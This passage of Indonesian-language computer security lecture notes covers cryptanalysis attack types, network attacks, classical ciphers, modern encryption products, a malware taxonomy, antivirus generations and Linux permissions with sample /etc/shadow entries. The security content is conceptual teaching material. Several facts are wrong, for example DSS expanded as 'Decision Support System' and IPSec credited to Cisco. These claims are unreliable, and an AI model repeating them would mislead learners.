/>• Known-plaintext attack. Dalam tipe penyerangan ini, cryptanalyst memiliki akses tidak hanya ke ciphertext sejumlah pesan, namun ia juga memiliki plaintext pesan-pesan tersebut.<br />• Chosen-plaintext attack. Pada penyerangan ini, cryptanalyst tidak hanya memiliki akses atas ciphertext dan plaintext untuk beberapa pesan, tetapi ia juga dapat memilih plaintext yang dienkripsi.<br />• Adaptive-chosen-plaintext attack. Penyerangan tipe ini merupakan suatu kasus khusus chosen-plaintext attack. Cryptanalyst tidak hanya dapat memilih plaintext yang dienkripsi, ia pun memiliki kemampuan untuk memodifikasi pilihan berdasarkan hasil enkripsi sebelumnya. Dalam chosen-plaintext attack, cryptanalyst mungkin hanya dapat memiliki plaintext dalam suatu blok besar untuk dienkripsi; dalam adaptive-chosen-plaintext attack ini ia dapat memilih blok plaintext yang lebih kecil dan kemudian memilih yang lain berdasarkan hasil yang pertama, proses ini dapat dilakukannya terus menerus hingga ia dapat memperoleh seluruh informasi.<br />• Chosen-ciphertext attack. Pada tipe ini, cryptanalyst dapat memilih ciphertext yang berbeda untuk didekripsi dan memiliki akses atas plaintext yang didekripsi.<br />• Chosen-key attack. Cryptanalyst pada tipe penyerangan ini memiliki pengetahuan tentang hubungan antara kunci-kunci yang berbeda.<br />• Rubber-hose cryptanalysis. Pada tipe penyerangan ini, cryptanalyst mengancam, memeras, atau bahkan memaksa seseorang hingga mereka memberikan kuncinya.<br /><br /><br />6. JENIS PENYERANGAN PADA JALUR KOMUNIKASI<br /><br />• Sniffing: secara harafiah berarti mengendus, tentunya dalam hal ini yang diendus adalah pesan (baik yang belum ataupun sudah dienkripsi) dalam suatu saluran komunikasi. Hal ini umum terjadi pada saluran publik yang tidak aman. Sang pengendus dapat merekam pembicaraan yang terjadi.<br />• Replay attack [DHMM 96]: Jika seseorang bisa merekam pesan-pesan handshake (persiapan komunikasi), ia mungkin dapat mengulang pesan-pesan yang telah direkamnya untuk menipu salah satu pihak.<br />• Spoofing [DHMM 96]: Penyerang – misalnya Maman – bisa menyamar menjadi Anto. Semua orang dibuat percaya bahwa Maman adalah Anto. Penyerang berusaha meyakinkan pihak-pihak lain bahwa tak ada salah dengan komunikasi yang dilakukan, padahal komunikasi itu dilakukan dengan sang penipu/penyerang. Contohnya jika orang memasukkan PIN ke dalam mesin ATM palsu – yang benar-benar dibuat seperti ATM asli – tentu sang penipu bisa mendapatkan PIN-nya dan copy pita magentik kartu ATM milik sang nasabah. Pihak bank tidak tahu bahwa telah terjadi kejahatan.<br />• Man-in-the-middle [Schn 96]: Jika spoofing terkadang hanya menipu satu pihak, maka dalam skenario ini, saat Anto hendak berkomunikasi dengan Badu, Maman di mata Anto seolah-olah adalah Badu, dan Maman dapat pula menipu Badu sehingga Maman seolah-olah adalah Anto. Maman dapat berkuasa penuh atas jalur komunikas ini, dan bisa membuat berita fitnah.<br /><br /><br />METODE CRYPTOGRAFI<br /><br />1. METODE KUNO<br /><br />a. 475 S.M. bangsa Sparta, suatu bangsa militer pada jaman Yunani kuno, menggunakan teknik kriptografi yang disebut scytale, untuk kepentingan perang. Scytale terbuat dari tongkat dengan papyrus yang mengelilinginya secara spiral.<br />Kunci dari scytale adalah diameter tongkat yang digunakan oleh pengirim harus sama dengan diameter tongkat yang dimiliki oleh penerima pesan, sehingga pesan yang disembunyikan dalam papyrus dapat dibaca dan dimengerti oleh penerima.<br /><br /><br /><br />b. Julius Caesar, seorang kaisar terkenal Romawi yang menaklukkan banyak bangsa di Eropa dan Timur Tengah juga menggunakan suatu teknik kriptografi yang sekarang disebut Caesar cipher untuk berkorespondensi sekitar tahun 60 S.M. Teknik yang digunakan oleh Sang Caesar adalah mensubstitusikan alfabet secara beraturan, yaitu oleh alfabet ketiga yang mengikutinya, misalnya, alfabet ‘’A" digantikan oleh "D", "B" oleh "E", dan seterusnya. Sebagai contoh, suatu pesan berikut :<br /><br />Gambar 2. Caesar Cipher<br /><br />Dengan aturan yang dibuat oleh Julius Caesar tersebut, pesan sebenarnya adalah "Penjarakan panglima divisi ke tujuh segera".<br /><br /><br />2. TEKNIK DASAR KRIPTOGRAFI<br /><br />a. Substitusi<br /><br />Salah satu contoh teknik ini adalah Caesar cipher yang telah dicontohkan diatas. Langkah pertama adalah membuat suatu tabel substitusi. Tabel substitusi dapat dibuat sesuka hati, dengan catatan bahwa penerima pesan memiliki tabel yang sama untuk keperluan dekripsi. Bila tabel substitusi dibuat secara acak, akan semakin sulit pemecahan ciphertext oleh orang yang tidak berhak.<br /><br />A-B-C-D-E-F-G-H-I-J-K-L-M-N-O-P-Q-R-S-T-U-V-W-X-Y-Z-1-2-3-4-5-6-7-8-9-0-.-,<br />B-F-1-K-Q-G-A-T-P-J-6-H-Y-D-2-X-5-M-V-7-C-8-4-I-9-N-R-E-U-3-L-S-W-,-.-O-Z-0<br /><br />Gambar 3. Tabel Substitusi<br /><br />Tabel substitusi diatas dibuat secara acak. Dengan menggunakan tabel tersebut, dari plaintext "5 teknik dasar kriptografi" dihasilkan ciphertext "L 7Q6DP6 KBVBM 6MPX72AMBGP". Dengan menggunakan tabel substitusi yang sama secara dengan arah yang terbalik (reverse), plaintext dapat diperoleh kembali dari ciphertext-nya.<br /><br />b. Blocking<br /><br />Sistem enkripsi terkadang membagi plaintext menjadi blok-blok yang terdiri dari beberapa karakter yang kemudian dienkripsikan secara independen. Plaintext yang dienkripsikan dengan menggunakan teknik blocking adalah :<br /><br /><br /><br />Gambar 4. Enkripsi dengan Blocking<br /><br />Dengan menggunakan enkripsi blocking dipilih jumlah lajur dan kolom untuk penulisan pesan. Jumlah lajur atau kolom menjadi kunci bagi kriptografi dengan teknik ini. Plaintext dituliskan secara vertikal ke bawah berurutan pada lajur, dan dilanjutkan pada kolom berikutnya sampai seluruhnya tertulis. Ciphertext-nya adalah hasil pembacaan plaintext secara horizontal berurutan sesuai dengan blok-nya. Jadi ciphertext yang dihasilkan dengan teknik ini adalah "5K G KRTDRAEAIFKSPINAT IRO". Plaintext dapat pula ditulis secara horizontal dan ciphertextnya adalah hasil pembacaan secara vertikal.<br /><br />c. Permutasi<br /><br />Salah satu teknik enkripsi yang terpenting adalah permutasi atau sering juga disebut transposisi. Teknik ini memindahkan atau merotasikan karakter dengan aturan tertentu. Prinsipnya adalah berlawanan dengan teknik substitusi. Dalam teknik substitusi, karakter berada pada posisi yang tetap tapi identitasnya yang diacak. Pada teknik permutasi, identitas karakternya tetap, namun posisinya yang diacak. Sebelum dilakukan permutasi, umumnya plaintext terlebih dahulu dibagi menjadi blok-blok dengan panjang yang sama.<br />Untuk contoh diatas, plaintext akan dibagi menjadi blok-blok yang terdiri dari 6 karakter, dengan aturan permutasi sebagai berikut :<br /><br /><br />Gambar 5. Permutasi<br /><br />Dengan menggunakan aturan diatas, maka proses enkripsi dengan permutasi dari plaintext adalah sebagai berikut :<br /><br />Gambar 6. Proses Enkripsi dengan Permutasi<br /><br />Ciphertext yang dihasilkan dengan teknik permutasi ini adalah "N ETK5 SKD AIIRK RAATGORP FI".<br /><br />d. Ekspansi<br /><br />Suatu metode sederhana untuk mengacak pesan adalah dengan memelarkan pesan itu dengan aturan tertentu. Salah satu contoh penggunaan teknik ini adalah dengan meletakkan huruf konsonan atau bilangan ganjil yang menjadi awal dari suatu kata di akhir kata itu dan menambahkan akhiran "an". Bila suatu kata dimulai dengan huruf vokal atau bilangan genap, ditambahkan akhiran "i". Proses enkripsi dengan cara ekspansi terhadap plaintext terjadi sebagai berikut :<br /><br /><br />Gambar 7. Enkripsi dengan Ekspansi<br /><br />Ciphertextnya adalah "5AN EKNIKTAN ASARDAN RIPTOGRAFIKAN". Aturan ekspansi dapat dibuat lebih kompleks. Terkadang teknik ekspansi digabungkan dengan teknik lainnya, karena teknik ini bila berdiri sendiri terlalu mudah untuk dipecahkan.<br /><br />e. Pemampatan (Compaction)<br /><br />Mengurangi panjang pesan atau jumlah bloknya adalah cara lain untuk menyembunyikan isi pesan. Contoh sederhana ini menggunakan cara menghilangkan setiap karakter ke-tiga secara berurutan. Karakter-karakter yang dihilangkan disatukan kembali dan disusulkan sebagai "lampiran" dari pesan utama, dengan diawali oleh suatu karakter khusus, dalam contoh ini digunakan "&". Proses yang terjadi untuk plaintext kita adalah :<br /><br />Gambar 8. Enkripsi dengan Pemampatan<br /><br />Aturan penghilangan karakter dan karakter khusus yang berfungsi sebagai pemisah menjadi dasar untuk proses dekripsi ciphertext menjadi plaintext kembali.<br /><br />Dengan menggunakan kelima teknik dasar kriptografi diatas, dapat diciptakan kombinasi teknik kriptografi yang amat banyak, dengan faktor yang membatasi semata-mata hanyalah kreativitas dan imajinasi kita. Walaupun sekilas terlihat sederhana, kombinasi teknik dasar kriptografi dapat menghasilkan teknik kriptografi turunan yang cukup kompleks, dan beberapa teknik dasar kriptografi masih digunakan dalam teknik kriptografi modern.<br /><br /><br />BERBAGAI SOLUSI ENKRIPSI MODERN<br /><br />1. Data Encryption Standard (DES)<br />• standar bagi USA Government<br />• didukung ANSI dan IETF<br />• popular untuk metode secret key<br />• terdiri dari : 40-bit, 56-bit dan 3x56-bit (Triple DES)<br /><br />2. Advanced Encryption Standard (AES)<br />• untuk menggantikan DES (launching akhir 2001)<br />• menggunakan variable length block chipper<br />• key length : 128-bit, 192-bit, 256-bit<br />• dapat diterapkan untuk smart card.<br /><br />3. Digital Certificate Server (DCS)<br />• verifikasi untuk digital signature<br />• autentikasi user<br />• menggunakan public dan private key<br />• contoh : Netscape Certificate Server<br /><br />4. IP Security (IPSec)<br />• enkripsi public/private key<br />• dirancang oleh CISCO System<br />• menggunakan DES 40-bit dan authentication<br />• built-in pada produk CISCO<br />• solusi tepat untuk Virtual Private Network (VPN) dan Remote Network Access<br /><br /><br />5. Kerberos<br />• solusi untuk user authentication<br />• dapat menangani multiple platform/system<br />• free charge (open source)<br />• IBM menyediakan versi komersial : Global Sign On (GSO)<br /><br />6. Point to point Tunneling Protocol(PPTP), Layer Two Tunneling Protocol (L2TP)<br />• dirancang oleh Microsoft<br />• autentication berdasarkan PPP(Point to point protocol)<br />• enkripsi berdasarkan algoritm Microsoft (tidak terbuka)<br />• terintegrasi dengan NOS Microsoft (NT, 2000, XP)<br /><br />7. Remote Access Dial-in User Service (RADIUS)<br />• multiple remote access device menggunakan 1 database untuk authentication<br />• didukung oleh 3com, CISCO, Ascend<br />• tidak menggunakan encryption<br /><br />8. RSA Encryption<br />• dirancang oleh Rivest, Shamir, Adleman tahun 1977<br />• standar de facto dalam enkripsi public/private key<br />• didukung oleh Microsoft, apple, novell, sun, lotus<br />• mendukung proses authentication<br />• multi platform<br /><br />9. Secure Hash Algoritm (SHA)<br />• dirancang oleh National Institute of Standard and Technology (NIST) USA.<br />• bagian dari standar DSS(Decision Support System) USA dan bekerja sama dengan DES untuk digital signature.<br />• SHA-1 menyediakan 160-bit message digest<br />• Versi : SHA-256, SHA-384, SHA-512 (terintegrasi dengan AES)<br /><br />10. MD5<br />• dirancang oleh Prof. Robert Rivest (RSA, MIT) tahun 1991<br />• menghasilkan 128-bit digest.<br />• cepat tapi kurang aman<br /><br />11. Secure Shell (SSH)<br />• digunakan untuk client side authentication antara 2 sistem<br />• mendukung UNIX, windows, OS/2<br />• melindungi telnet dan ftp (file transfer protocol)<br /><br />12. Secure Socket Layer (SSL)<br />• dirancang oleh Netscape<br />• menyediakan enkripsi RSA pada layes session dari model OSI.<br />• independen terhadap servise yang digunakan.<br />• melindungi system secure web e-commerce<br />• metode public/private key dan dapat melakukan authentication<br />• terintegrasi dalam produk browser dan web server Netscape.<br /><br />13. Security Token<br />• aplikasi penyimpanan password dan data user di smart card<br /><br />14. Simple Key Management for Internet Protocol<br />• seperti SSL bekerja pada level session model OSI.<br />• menghasilkan key yang static, mudah bobol.<br /><br />APLIKASI ENKRIPSI<br /><br />Beberapa aplikasi yang memerlukan enkripsi untuk pengamanan data atau komunikasi diantaranya adalah :<br /><br />a. Jasa telekomunikasi<br />• Enkripsi untuk mengamankan informasi konfidensial baik berupa suara, data, maupun gambar yang akan dikirimkan ke lawan bicaranya.<br />• Enkripsi pada transfer data untuk keperluan manajemen jaringan dan transfer on-line data billing.<br />• Enkripsi untuk menjaga copyright dari informasi yang diberikan.<br /><br />b. Militer dan pemerintahan<br />• Enkripsi diantaranya digunakan dalam pengiriman pesan.<br />• Menyimpan data-data rahasia militer dan kenegaraan dalam media penyimpanannya selalu dalam keaadan terenkripsi.<br /><br />c. Data Perbankan<br />• Informasi transfer uang antar bank harus selalu dalam keadaan terenkripsi<br /><br />d. Data konfidensial perusahaan<br />• Rencana strategis, formula-formula produk, database pelanggan/karyawan dan database operasional<br />• pusat penyimpanan data perusahaan dapat diakses secara on-line.<br />• Teknik enkripsi juga harus diterapkan untuk data konfidensial untuk melindungi data dari pembacaan maupun perubahan secara tidak sah.<br /><br />e. Pengamanan electronic mail<br />• Mengamankan pada saat ditransmisikan maupun dalam media penyimpanan.<br />• Aplikasi enkripsi telah dibuat khusus untuk mengamankan e-mail, diantaranya PEM (Privacy Enhanced Mail) dan PGP (Pretty Good Privacy), keduanya berbasis DES dan RSA.<br /><br />f. Kartu Plastik<br />• Enkripsi pada SIM Card, kartu telepon umum, kartu langganan TV kabel, kartu kontrol akses ruangan dan komputer, kartu kredit, kartu ATM, kartu pemeriksaan medis, dll<br />• Enkripsi teknologi penyimpanan data secara magnetic, optik, maupun chip.<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />KEAMANAN DARI DEVIL PROGRAM<br /><br />Taksonomi ancaman perangkat lunak / klasifikasi program jahat (malicious program):<br /><br />1. Program-program yang memerlukan program inang (host program). Fragmen program tidak dapat mandiri secara independen dari suatu program aplikasi, program utilitas atau program sistem.<br />2. Program-program yang tidak memerlukan program inang. Program sendiri yang dapat dijadwalkan dan dijalankan oleh sistem operasi.<br /><br />Tipe-tipe program jahat :<br /><br />1. Bacteria : program yang mengkonsumsi sumber daya sistem dengan mereplikasi dirinya sendiri. Bacteria tidak secara eksplisit merusak file. Tujuan program ini hanya satu yaitu mereplikasi dirinya. Program bacteria yang sederhana bisa hanya mengeksekusi dua kopian dirinya secara simultan pada sistem multiprogramming atau menciptakan dua file baru, masing-masing adalah kopian file program bacteria. Kedua kopian in kemudian mengkopi dua kali, dan seterusnya.<br /><br />2. Logic bomb : logik yang ditempelkan pada program komputer agar memeriksa suatu kumpulan kondisi di sistem. Ketika kondisi-kondisi yang dimaksud ditemui, logik mengeksekusi suatu fungsi yang menghasilkan aksi-aksi tak diotorisasi.<br />• Logic bomb menempel pada suatu program resmi yang diset meledak ketika kondisi-kondisi tertentu dipenuhi.<br />• Contoh kondisi-kondisi untuk memicu logic bomb adalah ada atau tudak adanya file-file tertentu, hari tertentu daru minggu atau tanggal, atau pemakai menjalankan aplikasi tertentu. Begitu terpicu, bomb mengubah atau menghapus data atau seluruh file, menyebabkan mesin terhenti, atau mengerjakan perusakan lain.<br /><br />3. Trapdoor : Titik masuk tak terdokumentasi rahasia di satu program untuk memberikan akses tanpa metode-metode otentifikasi normal.<br />• Trapdoor telah dipakai secara benar selama bertahun-tahun oleh pemogram untuk mencari kesalahan program. Debugging dan testing biasanya dilakukan pemogram saat mengembangkan aplikasi. Untuk program yang mempunyai prosedur otentifikasi atau setup lama atau memerlukan pemakai memasukkan nilai-nilai berbeda untuk menjalankan aplikasi maka debugging akan lama bila harus melewati prosedur-prosedur tersebut. Untuk debug program jenis ini, pengembang membuat kewenangan khusus atau menghilangkan keperluan setup dan otentifikasi.<br />• Trapdoor adalah kode yang menerima suatu barisan masukan khusus atau dipicu dengan menjalankan ID pemakai tertentu atau barisan kejahatan tertentu. Trapdoor menjadi ancaman ketika digunakan pemrogram jahat untuk memperoleh pengkasesan tak diotorisasi.<br />• Pada kasus nyata, auditor (pemeriks) perangkat lunak dapat menemukan trapdoor pada produk perangkat lunak dimana nama pencipta perangkat lunak berlakuk sebagai password yang memintas proteksi perangkat lunak yang dibuatnya. Adalah sulit mengimplementasikan kendali-kendali perangkat lunak untuk trapdoor.<br /><br />4. Trojan horse : Rutin tak terdokumentasi rahasia ditempelkan dalam satu program berguna. Program yang berguna mengandung kode tersembunyi yang ketika dijalankan melakukan suatu fungsi yang tak diinginkan. Eksekusi program menyebabkan eksekusi rutin rahasia ini.<br />• Program-program trojan horse digunakan untuk melakukan fungsi-fungsi secara tidak langsung dimana pemakai tak diotorisasi tidak dapat melakukannya secara langsung. Contoh, untuk dapat mengakses file-file pemakai lain pada sistem dipakai bersama, pemakai dapat menciptakan program trojan horse.<br />• Trojan horse ini ketika program dieksekusi akan mengubah ijin-ijin file sehinga file-file dapat dibaca oleh sembarang pemakai. Pencipta program dapat menyebarkan ke pemakai-pemakai dengan menempatkan program di direktori bersama dan menamai programnya sedemikian rupa sehingga disangka sebagai program utilitas yang berguna.<br />• Program trojan horse yang sulit dideteksi adalah kompilator yang dimodifikasi sehingga menyisipkan kode tambahan ke program-program tertentu begitu dikompilasi, seperti program login. Kode menciptakan trapdoor pada program login yang mengijinkan pencipta log ke sistem menggunakan password khusus. Trojan horse jenis ini tak pernah dapat ditemukan jika hanya membaca program sumber. Motivasi lain dari trojan horse adalah penghancuran data. Program muncul sebagai melakukan fungsi-fungsi berguna (seperti kalkulator), tapi juga secara diam-diam menghapus file-file pemakai.<br />• Trojan horse biasa ditempelkan pada program-program atau rutin-rutin yang diambil dari BBS, internet, dan sebagainya.<br /><br />5. Virus : Kode yang ditempelkan dalam satu program yang menyebabkan pengkopian dirinya disisipkan ke satu program lain atau lebih, dengan cara memodifikasi program-program itu.<br />• Modifikasi dilakukan dengan memasukkan kopian program virus yang dapat menginfeksi program-program lain. Selain hanya progasi, virus biasanya melakukan fungsi yang tak diinginkan.<br />• Di dalam virus komputer, terdapat kode intruksi yang dapat membuat kopian sempurna dirinya. Ketika komputer yang terinfeksi berhubungan (kontak) dengan perangkat lunak yang belum terinfeksi, kopian virus memasuki program baru. Infeksi dapat menyebar dari komputer ke komputer melalui pemakai-pemakai yang menukarkan disk atau mengirim program melalui jaringan. Pada lingkungan jaringan, kemampuan mengakses aplikasi dan layanan-layanan komputer lain merupakan fasilitas sempurna penyebaran virus.<br />• Masalah yang ditimbulkan virus adalah virus sering merusak sistem komputer seperti menghapus file, partisi disk, atau mengacaukan program. <br />• Siklus hidup Virus melalui empat fase (tahap), yaitu :<br /> Fase tidur (dormant phase). Virus dalam keadaan menganggur. Virus akan tiba-tiba aktif oleh suatu kejadian seperti tibanya tanggal tertentu, kehadiran program atau file tertentu, atau kapasitas disk yang melewati batas. Tidak semua virus mempunyai tahap ini.<br /> Fase propagasi (propagation phase). Virus menempatkan kopian dirinya ke program lain atau daerah sistem tertentu di disk. Program yang terinfeksi virus akan mempunyai kloning virus. Kloning virus itu dapat kembali memasuki fase propagasi.<br /> Fase pemicuan (triggering phase). Virus diaktifkan untuk melakukan fungsi tertentu. Seperti pada fase tidur, fase pemicuan dapat disebabkan beragam kejadian sistem termasuk penghitungan jumlah kopian dirinya.<br /> Fase eksekusi (execution phase). Virus menjalankan fungsinya, fungsinya mungkin sepele seperti sekedar menampilkan pesan dilayar atau merusak seperti merusak program dan file-file data, dan sebagainya. Kebanyakan virus melakukan kerjanya untuk suatu sistem operasi tertentu, lebih spesifik lagi pada platform perangkat keras tertentu. Virus-virus dirancang memanfaatkan rincian-rincian dan kelemahan-kelemahan sistem tertentu.<br /><br /><br />• Klasifikasi tipe virus :<br />a. Parasitic virus. Merupakan virus tradisional dan bentuk virus yang paling sering. Tipe ini mencantolkan dirinya ke file .exe. Virus mereplikasi ketika program terinfeksi dieksekusi dengan mencari file-file .exe lain untuk diinfeksi. <br />b. Memory resident virus. Virus memuatkan diri ke memori utama sebagai bagian program yang menetap. Virus menginfeksi setiap program yang dieksekusi. <br />c. Boot sector virus. Virus menginfeksi master boot record atau boot record dan menyebar saat sistem diboot dari disk yang berisi virus. <br />d. Stealth virus. Virus yang bentuknya telah dirancang agar dapat menyembunyikan diri dari deteksi perangkat lunak antivirus. <br />e. Polymorphic virus. Virus bermutasi setiap kali melakukan infeksi. Deteksi dengan penandaan virus tersebut tidak dimungkinkan. Penulis virus dapat melengkapi dengan alat-alat bantu penciptaan virus baru (virus creation toolkit, yaitu rutin-rutin untuk menciptakan virus-virus baru). Dengan alat bantu ini penciptaan virus baru dapat dilakukan dengan cepat. Virus-virus yang diciptakan dengan alat bantu biasanya kurang canggih dibanding virus-virus yang dirancang dari awal. <br /><br />6. Worm : Program yang dapat mereplikasi dirinya dan mengirim kopian-kopian dari komputer ke komputer lewat hubungan jaringan. Begitu tiba, worm diaktifkan untuk mereplikasi dan progasai kembali. Selain hanya propagasi, worm biasanya melakukan fungsi yang tak diinginkan.<br />• Network worm menggunakan hubungan jaringan untuk menyebar dari sistem ke sistem lain. Sekali aktif di suatu sistem, network worm dapat berlaku seperti virus atau bacteria, atau menempelkan program trojan horse atau melakukan sejumlah aksi menjengkelkan atau menghancurkan.<br />• Untuk mereplikasi dirinya, network worm menggunakan suatu layanan jaringan, seperti : Fasilitas surat elektronik (electronic mail facility), yaitu worm mengirimkan kopian dirinya ke sistem-sistem lain. <br />• Kemampuan eksekusi jarak jauh (remote execution capability), yaitu worm mengeksekusi kopian dirinya di sistem lain. <br />• Kemampuan login jarak jauh (remote login capability), yaitu worm log pada sistem jauh sebagai pemakai dan kemudian menggunakan perintah untuk mengkopi dirinya dari satu sistem ke sistem lain. Kopian program worm yang baru kemudian dijalankan di sistem jauh dan melakukan fungsi-fungsi lain yang dilakukan di sistem itu, worm terus menyebar dengan cara yang sama. <br />• Network worm mempunyai ciri-ciri yang sama dengan virus komputer, yaitu mempunyai fase-fase sama, yaitu : Dormant phase, Propagation phase, Trigerring phase, Execution phase. <br />• Network worm juga berusaha menentukan apakah sistem sebelumnya telah diinfeksi sebelum mengirim kopian dirinya ke sistem itu.<br /><br /><br />Antivirus <br />Solusi ideal terhadap ancaman virus adalah pencegahan. Jaringan diijinkan virus masuk ke sistem. Sasaran ini, tak mungkin dilaksanakan sepenuhnya. Pencegahan dapat mereduksi sejumlah serangan virus. Setelah pencegahan terhadap masuknya virus, maka pendekatan berikutnya yang dapat dilakukan adalah :<br />1. Deteksi. Begitu infeksi telah terjadi, tentukan apakah infeksi memang telah terjadi dan cari lokasi virus. <br />2. Identifikasi. Begitu virus terdeteksi maka identifikasi virus yang menginfeksi program. <br />3. Penghilangan. Begitu virus dapat diidentifikasi maka hilangkan semua jejak virus dari program yang terinfeksi dan program dikembalikan ke semua (sebelum terinfeksi). Jika deteksi virus sukses dilakukan, tapi identifikasi atau penghilangan jejak tidak dapat dilakukan, maka alternatif yang dilakukan adalah menghapus program yang terinfeksi dan kopi kembali backup program yang masih bersih.<br /><br />Perkembangan program antivirus dapat diperiode menjadi empat generasi, yaitu :<br />1. Generasi pertama : sekedar scanner sederhana. Antivirus menscan program untuk menemukan penanda (signature) virus. Walaupun virus mungkin berisi karakter-karakter varian, tapi secara esensi mempunyai struktur dan pola bit yang sama di semua kopiannya. Teknis ini terbatas untuk deteksi virus-virus yang telah dikenal. Tipe lain antivirus generasi pertama adalah mengelola rekaman panjang (ukuran) program dan memeriksa perubahan panjang program.<br />2. Generasi kedua : scanner yang pintar (heuristic scanner). Antivirus menscan tidak bergantung pada penanda spesifik. Antivirus menggunakan aturan-aturan pintar (heuristic rules) untuk mencari kemungkinan infeksi virus.Teknik yang dipakai misalnya mencari fragmen- fragmen kode yang sering merupakan bagian virus. Contohnya, antivirus mencari awal loop enkripsi yang digunakan polymorphic virus dan menemukan kunci enkripsi. Begitu kunci ditemukan, antivirus dapat mendeskripsi virus untuk identifikasi dan kemudian menghilangkan infeksi virus. Teknik ini adalah pemeriksanaan integritas. Checksum dapat ditambahkan di tiap program. Jika virus menginfeksi program tanpa mengubah checksum, maka pemeriksaan integritas akan menemukan perubahan itu. Untuk menanggulangi virus canggih yang mampu mengubah checksum saat menginfeksi program, fungsi hash terenkripsi digunakan. Kunci enkripsi disimpan secara terpisah dari program sehingga program tidak dapat menghasilkan kode hash baru dan mengenkripsinya. Dengan menggunakan fungsi hash bukan checksum sederhana maka mencegah virus menyesuaikan program yang menghasilkan kode hash yang sama seperti sebelumnya.<br />3. Generasi ketiga : jebakan-jebakan aktivitas (activity trap). Program antivirus merupakan program yang menetap di memori (memory resident program). Program ini mengidentifikasi virus melalui aksi- aksinya bukan dari struktur program yang diinfeksi. Dengan antivirus semacam in tak perlu mengembangkan penanda-penanda dan aturan-aturan pintar untuk beragam virus yang sangat banyak. Dengan cara ini yang diperlukan adalah mengidentifikasi kumpulan instruksi yang berjumlah sedikit yang mengidentifikasi adanya usaha infeksi. Kalau muncul kejadian ini, program antivirus segera mengintervensi.<br />4. Generasi keempat : proteksi penuh (full featured protection). Antivirus generasi ini menggunakan beragam teknik antivirus secara bersamaan. Teknik-teknik ini meliputi scanning dan jebakan-jebakan aktivitas. Antivirus juga mempunyai senarai kapabilitas pengaksesan yang membatasi kemampuan virus memasuki sistem dan membatasi kemampuan virus memodifikasi file untuk menginfeksi file. Pertempuran antara penulis virus dan pembuat antivirus masih berlanjut. Walau beragam strategi lebih lengkap telah dibuat untuk menanggulangi virus, penulis virus pun masih berlanjut menulis virus yang dapat melewati barikade-barikade yang dibuat penulis antivirus. Untuk pengaman sistem komputer, sebaiknya pengaksesandan pemakaian komputer diawasi dengan seksama sehingga tidak menjalankan program atau memakai disk yang belum terjamin kebersihannya dari infeksi virus. Pencegahan terbaik terhadap ancaman virus adalah mencegah virus memasuki sistem disaat yang pertama.<br /><br /><br /><br />KEAMANAN SISTEM OPERASI<br /><br />Linux<br /><br />Komponen Arsitektur Keamanan Linux :<br /><br />1. Account Pemakai (user account)<br /><br />Keuntungan :<br />• Kekuasaan dalam satu account yaitu root, sehingga mudah dalam administrasi system.<br />• Kecerobohan salah satu user tidak berpengaruh kepada system secara keseluruhan.<br />• Masing-masing user memiliki privacy yang ketat<br /><br />Macam User :<br />Root : kontrol system file, user, sumber daya (devices) dan akses jaringan<br />User : account dengan kekuasaan yang diatur oleh root dalam melakukan aktifitas dalam<br /> system.<br />Group : kumpulan user yang memiliki hak sharing yang sejenis terhadap suatu devices<br /> tertentu.<br /><br />2. Kontrol Akses secara Diskresi (Discretionary Access control)<br /><br />Discretionary Access control (DAC) adalah metode pembatasan yang ketat, yang meliputi :<br />• Setiap account memiliki username dan password sendiri.<br />• Setiap file/device memiliki atribut(read/write/execution) kepemilikan, group, dan user umum.<br /><br /><br /><br /><br /><br /><br />Jika kita lakukan list secara detail menggunakan $ls –l, kita dapat melihat penerapan DAC pada file system linux :<br /><br />d rw- - -x - - - 5 fade users 1024 Feb 8 12:30 Desktop<br />- rw- r - - r - - 9 Goh hack 318 Mar 30 09:05 borg.dead.letter<br /><br /><br />- rw- r - - r - - 9 Goh hack 318 Mar 30 09:05 borg.dead.letter<br />1 2 3 4 5 6 7 8 9 10 11<br /><br />Keterangan : <br />1 = tipe dari file ; tanda dash ( - ) berarti file biasa, d berarti directory, l berarti file link, dsb 5 =<br />6 =<br />7 = Jumlah link file<br />Nama pemilik (owner)<br />Nama Group<br />2 = Izin akses untuk owner (pemilik), r=read/baca, w=write/tulis, x=execute/eksekusi 8 =<br />9 =<br />10 = Besar file dalam byte<br />Bulan dan tanggal update terakhir<br />Waktu update terakhir<br />3 = Izin akses untuk group 11 = Nama file/device<br />4 = Izin akses untuk other (user lain yang berada di luar group yang didefinisikan sebelumnya) <br /><br /><br />Perintah-perintah penting pada DAC :<br />• Mengubah izin akses file :<br />1. bu : chmod <> < + | - > <> nama file,<br />contoh :<br />chmod u+x g+w o-r borg.dead.letter ; tambahkan akses eksekusi(e) untuk user (u), tambahkan juga akses write(w) untuk group (g) dan kurangi izin akses read(r) untuk other(o) user.<br />2. chmod metode octal, bu: chmod - - - namafile , digit dash ( - ) pertama untuk izin akses user, digit ke-2 untuk izin akses group dan digit ke-3 untuk izin akses other, berlaku ketentuan : r(read) = 4, w(write) = 2, x (execute) = 1 dan tanpa izin akses = 0.<br />Contoh :<br />Chmod 740 borg.dead.letter<br />Berarti : bagi file borg.dead.letter berlaku<br />digit ke-1 7=4+2+1=izin akses r,w,x penuh untuk user.<br />digit ke-2 4=4+0+0=izin akses r untuk group<br />digit ke-3 0=0+0+0=tanpa izin akses untuk other user.<br /><br />• Mengubah kepemilikan : chown <owner pemilik=""><nama file=""><br />• Mengubah kepemilikan group : chgrp <group owner=""><nama file=""><br />• Menggunakan account root untuk sementara :<br />~$su ; system akan meminta password<br />password : **** ; prompt akan berubah jadi pagar, tanda login sebagai root<br />~#<br /><br />• Mengaktifkan shadow password, yaitu membuat file /etc/passwd menjadi dapat dibaca (readable) tetapi tidak lagi berisi password, karena sudah dipindahkan ke /etc/shadow<br /><br />Contoh tipikal file /etc/passwd setelah diaktifkan shadow:<br />…<br />root:x:0:0::/root:/bin/bash<br />fade:x:1000:103: , , , :/home/fade:/bin/bash<br />…<br /><br />Lihat user fade, dapat kita baca sebagai berikut :<br /><br />username : fade<br />Password : x<br />User ID (UID) : 1000<br />Group ID (GUID) : 103<br />Keterangan tambahan : -<br />Home directory : /home/fade<br />Shell default : /bin/bash<br /><br />Password-nya bisa dibaca (readable), tapi berupa huruf x saja, password sebenarnya disimpan di file /etc/shadow dalam keadaan dienkripsi :<br />…<br />root:pCfouljTBTX7o:10995:0:::::<br />fade:oiHQw6GBf4tiE:10995:0:99999:7:::<br />…<br /><br />Perlunya Pro aktif password<br /><br />Linux menggunakan metode DES (Data Encription Standart) untuk password-nya. User harus di training dalam memilih password yang akan digunakannya agar tidak mudah ditebak dengan program-program crack password dalam ancaman bruto force attack. Dan perlu pula ditambah dengan program Bantu cek keamanan 